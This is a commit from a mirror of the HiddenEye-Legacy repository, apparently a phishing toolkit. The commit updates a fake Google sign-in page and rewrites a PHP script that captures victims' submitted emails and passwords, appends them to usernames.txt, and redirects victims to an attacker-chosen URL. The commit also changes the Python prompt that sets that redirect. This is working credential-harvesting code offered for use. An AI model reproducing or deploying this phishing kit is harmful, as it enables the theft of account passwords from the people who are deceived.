mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
updated old google standard page to new one (#119)
* Add files via upload * Delete index.html * Add files via upload * Update HiddenEye.py
This commit is contained in:
parent
9f3d1bb89b
commit
546b2cf195
|
@ -308,10 +308,10 @@ if __name__ == "__main__":
|
|||
def custom(): #Question where user can input custom web-link
|
||||
print("\n {0}Insert a custom redirect url:".format(CYAN, DEFAULT))
|
||||
custom = input("\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
|
||||
if 'http://' or 'https://' in custom:
|
||||
if 'https://' in custom:
|
||||
pass
|
||||
else:
|
||||
custom = 'http://' + custom
|
||||
custom = 'https://' + custom
|
||||
if path.exists('Server/www/post.php') and path.exists('Server/www/login.php'):
|
||||
with open('Server/www/login.php') as f:
|
||||
read_data = f.read()
|
||||
|
|
1903
WebPages/google_standard/accounts.login.php
Normal file
1903
WebPages/google_standard/accounts.login.php
Normal file
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
1889
WebPages/google_standard/index.php
Normal file
1889
WebPages/google_standard/index.php
Normal file
File diff suppressed because one or more lines are too long
|
@ -1,6 +1,22 @@
|
|||
<?php
|
||||
include 'ip.php';
|
||||
|
||||
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['Email'] . " [PASS]: " . $_POST['Passwd'] . "\n", FILE_APPEND);
|
||||
header('Location: <CUSTOM>');
|
||||
exit();
|
||||
session_start();
|
||||
|
||||
$pass = $_POST["password"];
|
||||
$email=$_SESSION["Email"];
|
||||
//opening logins text file for appending new data.
|
||||
$file = fopen("usernames.txt", "a") or die("Unable to open file!");
|
||||
|
||||
//Writing email and password to logins.txt.
|
||||
fwrite($file, "[EMAIL: ]" . " ". $email . " " . " " . "[PASS: ]" . " " . $pass .FILE_APPEND);
|
||||
fclose($file);//closing logins.txt.
|
||||
|
||||
//redirecting user to the google drive's locations where the game is available to download.
|
||||
//change the location url to redirect to a website of your choice.
|
||||
header('Location: <CUSTOM>');
|
||||
exit();
|
||||
|
||||
|
||||
session_destroy();
|
||||
|
||||
?>
|
||||
|
|
Loading…
Reference in New Issue
Block a user